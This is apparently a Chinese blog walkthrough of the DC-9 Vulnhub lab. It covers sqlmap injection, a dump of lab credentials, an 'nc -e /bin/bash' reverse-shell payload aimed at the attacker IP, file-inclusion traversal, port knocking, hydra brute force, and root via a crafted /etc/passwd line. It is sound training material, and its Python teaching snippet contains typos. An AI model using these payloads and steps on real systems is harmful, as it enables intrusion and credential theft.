DC-9 渗透测试

冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已。

靶机IP: 172.66.66.139

kali IP: 172.66.66.129

网络模式 NAT

netdiscover

拿到靶机ip 172.66.66.139

nmap -sV -A -p- -oN /tmp/dc-9.nmap

22端口的状态时 filtered (被过滤的,不能确定是否开放)。80开放。

#看到 SSH的22端口是filtered ,猜想是否装了 knockd 工具隐藏了服务
/etc/knockd.conf

dirb http://172.66.66.139 没有发现重要信息

访问80端口,未能识别出CMS 名称。

首页是 exmple.com 全体员工信息,还有展示、搜索、登录三个界面,研究一下网页源代码。

RFC 2606RFC 6761所述,为了文档目的,保留多个域名,如example.com和example.org。这些域可以在文档中用作说明性示例,而无需事先与我们协调。它们无法注册或转让。

先尝试注入,再账号密码爆破,因为有用的信息太少了。bp抓包开起来。

搜索框注入无果.....

我嘞个去...瞎了瞎了 ,搜索框所在的页面是 /search.php ,抓包看了下,没注意请求头 的是 /results.php

仔细看,

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' --dbs

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users --tables

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails --columns

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump

仿佛都是普通用户,随便一个试试 marym | 3kfs86sfd 登不进去...换一个数据库看看。

sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D Staff -T Users -C Username,Password --dump

爆出来,admin: transorbital1

发现没有过滤? 写个反弹shell <?php system("nc -e /bin/bash 172.66.66.129 8888");?>



字段有长度限制...查看源代码发现不是 前端限制,那应该是后端的长度限制,这时候考虑拼接传入shell

行吧,暂时考虑不出来,我太菜了。

看到网页底部脚标的footer标签 <footer>File does not exist</footer>

难道是有文件包含吗?,整一下试试。盲猜一下是 ?file= ,再试路径

试出来url :?file=../../../../etc/passwd 。当包含不出来的时候,别着急,多试试,多写几个点点杠进去

服务器是Apache,试着包含一下配置文件,尴尬,找不到phpinfo.php位置,也找不到Apache配置文件的位置...

在/etc/passwd 中,发现了一些账号是在前面的sqlmap中爆破出来的,他应该是ssh登录的账号,但是ssh好像是关闭的,不对呀,有情况。

因为ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd的配置文件 /etc/knockd.conf?file=../../../../etc/knockd.conf

这样看着有点乱,拿出来看调整一下格式,加入自己的理解,如下:

[options]
UseSyslog [openSSH]
sequence = 7469,8475,9842 # 打开ssh 22访问的三个操作端口 ;
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
tcpflags = syn [closeSSH]
sequence = 9842,8475,7469 # 关闭ssh 22访问的三个操作端口
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
tcpflags = syn

解释:

Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。

OpenSSH:该字段包括序列、序列超时、命令和tcp标志。

Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。

Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。

command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。

依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了

在kali中执行如下命令:

1) 使用7469/8475/9842队列号敲门登录:

nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842; do nmap -p $x 172.66.66.139; done

关闭的话也同理: 使用9842/8475/7469队列号关门

for x in 9842 8475 7469; do nmap -p $x 192.168.1.38; done

ssh打开之后,账号密码登录。在上面的sqlmap爆破中我们

| username | password |

+--------------+---------------+

| marym | 3kfs86sfd |

| julied | 468sfdfsd2 |

| fredf | 4sfd87sfd1 |

| barneyr | RocksOff |

| tomc | TC&TheBoyz |

| jerrym | B8m#48sd |

| wilmaf | Pebbles |

| bettyr | BamBam01 |

| chandlerb | UrAG0D! |

| joeyt | Passw0rd |

| rachelg | yN72#dsd |

| rossg | ILoveRachel |

| monicag | 3248dsds7s |

| phoebeb | smellycats |

| scoots | YR3BVxxxw87 |

| janitor | Ilovepeepee |

| janitor2 | Hawaii-Five-0

这么多个账号,怎么知道哪个账号是可以登录的呢?当然可以逐一去试,还有别的办法吗?当然有,hydra

hydra -L /tmp/dc-9-user.txt -P dc-9-passwd.txt 172.66.66.139 ssh -t 30

[22][ssh] host: 172.66.66.139 login: chandlerb password: UrAG0D!

[22][ssh] host: 172.66.66.139 login: joeyt password: Passw0rd

[22][ssh] host: 172.66.66.139 login: janitor password: Ilovepeepee

仔细看每一个账号里的文件,检查。用 ls -alF看到

cat passwords-found-on-post-it-notes.txt

BamBam01

Passw0rd

smellycats

P0Lic#10-4

B4-Tru3-001

4uGU5T-NiGHts

| bettyr | BamBam01 |

| joeyt | Passw0rd |

| phoebeb | smellycats |

在数据库爆出的账号中匹配到了三个,检查完当前账号后去看看这三个账号。

joeyt是前面hydra出来能登录的其中一个,上面的密码中,也只有这个能登录。

正经开始提权:收集有用信息

joeyt@dc-9:~/.gnupg$ uname -a
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
# Debian 4.19.67

提权整了半天,没进展,回过头来看,刚刚拿到的密码,难道没有其他用处了吗,要不要加进去 dc-9-passwd.txt 里再重新hydra爆一下呢? 要,很有必要,真是没想到呀。

fredf : B4-Tru3-001 第一个账号是新的,ssh登录

仿佛有希望。到该目录下研究研究test。

fredf@dc-9:/opt/devstuff/dist$ ls
test
fredf@dc-9:/opt/devstuff/dist$ cd test

linux里 .so 后缀文件是啥东东?

一般来说, .so 是基于linux下的动态链接,其功能相和作用相当于windows.dll文件。

linux 中的.so和.a文件 - 心田居士 - 博客园 (cnblogs.com) 看这里。

/opt/devstuff/dist/test/test 这一层好像没什么好看的,

SPEC文件扩展名可以是指由被叫的rpmbuild程序中使用的文本文件。这个程序是用来建立RPM包。 RPM代表Red Hat软件包管理。这些软件包用于安装Linux程序。该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包。

#在这一级看到了  test.py
-----------------------------------------------------------
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python import sys #包含sys后 才能用sys.argv
if len (sys.argv) != 3 : #sys.argv[1] 是文件本身
print ("Usage: python test.py read append")
sys.exit (1) else :
f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。
output = (f.read()) f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。
f.write(output) #写入内容
f.close() # 关闭
------------------------------------------------------------
#只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里。

先来学习:sys.argv[ ],是一个从外部程序获得参数的桥梁,获取的参数可以是多个,所以它会是一个列表(list),也就是说,sys.argv其实是一个列表,用[ ] 提取其中的元素,第一个元素 sys.argv[0] 是程序本身,后面才是一次输入的外部参数。

#test.py
inport sys
a=sys.agrv[0]
print(a) # 输出 test.py,也就是说sys.agrv[0] 的值是文件本身
#########################
#改一下代码
#test.py
inport sys
a=sys.agrv[1] #从sys.argv[1]开始才是传入的参数
print(a)
# 测试传参what输进去:test.py what
# 输出 就是 what

回到靶机,按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/a 里,再脚本追加写入 /etc/passwd 里。

写之前是不是得先生成一个加密后的密码呢? linux里有个 openshell ,这是可以用来生成密码的。那么,linux /etc/passwd 是用什么加密方式的呢?MD5

root@kali:~# openssl passwd -1
Password: #123456
Verifying - Password: #123456
$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0

openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

语法格式: openssl passwd [option] passwd

openssl passwd常用的选项如下:

-1:表示采用的是MD5加密算法。

-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。

示例:

[tom@localhost ~]$ openssl passwd -1 -salt '12345678' ##注意‘12345678’不是密码而是密码的长度

Password: ##这里输入的是密码

$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##这是生成的密文密码

##将生成的密码串,手动添加到/etc/shadow中就可用作用户的登陆密码了。

先试试不加密码的账号,echo 'axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash'

怎么不行呢...阿裂开,双引号用错了,得用单引号......

passwd的格式: [⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]

axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash

再对比一下 passwd 文件里的 root 的是怎样的

root:x:0:0:root:/root:/bin/bash

仿佛是命令用错了,改一下 openssl 的命令,加点盐,写上用户。

openssl passwd -1 -salt ccc 123456 ##构造ccc用户密码为123456的hash

ccc:$1$ccc$tK1vhSYd21dUn8Z0EC/Pl0:0:0:root:/root:/bin/bash

最后:

  1. 对文件包含敏感度不够,看到 脚标 的File does not exist,竟然没有意识到 文件包含。
  2. 归纳总结:/etc下有什么重要的文件,都累出来。(详情出门右转个人笔记),也可以爆破,也是能出来
  3. 看到有文件包含,就先用fuzz来跑一跑。
  4. hydra 账号密码爆破工具,支持多种协议。
  5. 以后用ls 命令,建议都用这个 ls -alF -a显示隐藏文件, -l显示文件详细信息, -F显示文件的类别(文件夹后有/,可执行文件前有*,文件等,看到你就知道了)
  6. su - root切换到root用户,并改变环境变量。
  7. DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已啊。

DC-9 靶机渗透测试的更多相关文章

  1. DC-1 靶机渗透测试

    DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...

  2. DC-5 靶机渗透测试

    DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...

  3. DC-2 靶机渗透测试

    DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...

  4. DC-7 靶机渗透测试

    DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...

  5. DC-8 靶机渗透测试

    DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...

  6. DC-6 靶机渗透测试

    DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...

  7. DC-4 靶机渗透测试

    DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...

  8. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. 【redis前传】自己手写一个LRU策略 | redis淘汰策略

    title: 自己手写一个LRU策略 date: 2021-06-18 12:00:30 tags: - [redis] - [lru] categories: - [redis] permalink ...

  2. 用python+pyqt5语言编写的扫雷小游戏软件

    github源码地址:https://github.com/richenyunqi/Mine-game ,撒娇打滚求star哦~~ღ( ´・ᴗ・` )比心 扫雷主界面模块 整个扫雷界面使用大量的白色方 ...

  3. 面向.NET开发人员的Dapr- actors 构建块

    原文地址:https://docs.microsoft.com/en-us/dotnet/architecture/dapr-for-net-developers/actors The actor m ...

  4. HDU 1686 Oulipo kmp裸题

    kmp算法可参考 kmp算法 汇总 #include <bits/stdc++.h> using namespace std; const int maxn=1000000+5; cons ...

  5. mysql中,一个数字加上null,结果为null

    在mysql中,一个数字加上null,结果为null. 这个问题是我用update语句时遇见的,就像下边的例子 update tableName set number = number + x 这里的 ...

  6. 你知道购买车票的原理吗?Java 线程同步

    先看再点赞,给自己一点思考的时间,如果对自己有帮助,微信搜索[程序职场]关注这个执着的职场程序员.我有什么:职场规划指导,技能提升方法,讲不完的职场故事,个人成长经验. 大周末的还是6点起床,起床的第 ...

  7. mysql Authentication plugin 'caching_sha2_password' is not supported问题处理

    使用mysql8.0版本,登录失败,提示 Authentication plugin 'caching_sha2_password' is not supported. 原因是在MySQL 8.0以后 ...

  8. ARTS第四周

    补第四周 1.Algorithm:每周至少做一个 leetcode 的算法题2.Review:阅读并点评至少一篇英文技术文章3.Tip:学习至少一个技术技巧4.Share:分享一篇有观点和思考的技术文 ...

  9. Nginx的安装和部署

    Nginx简介 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行.其特点是占有内存少,并发能力强,事实上nginx的并发 ...

  10. ffiddler抓取手机(app)https包

    很多同学有看过原文,但是按照原文还是没有设置成功(我就是其中一个)然后查了网上资料,在某些选项上进行增加,填写,配置通过.(和原文略有不同) 安装Fiddler,我们正常的流程在feiddler中设置 ...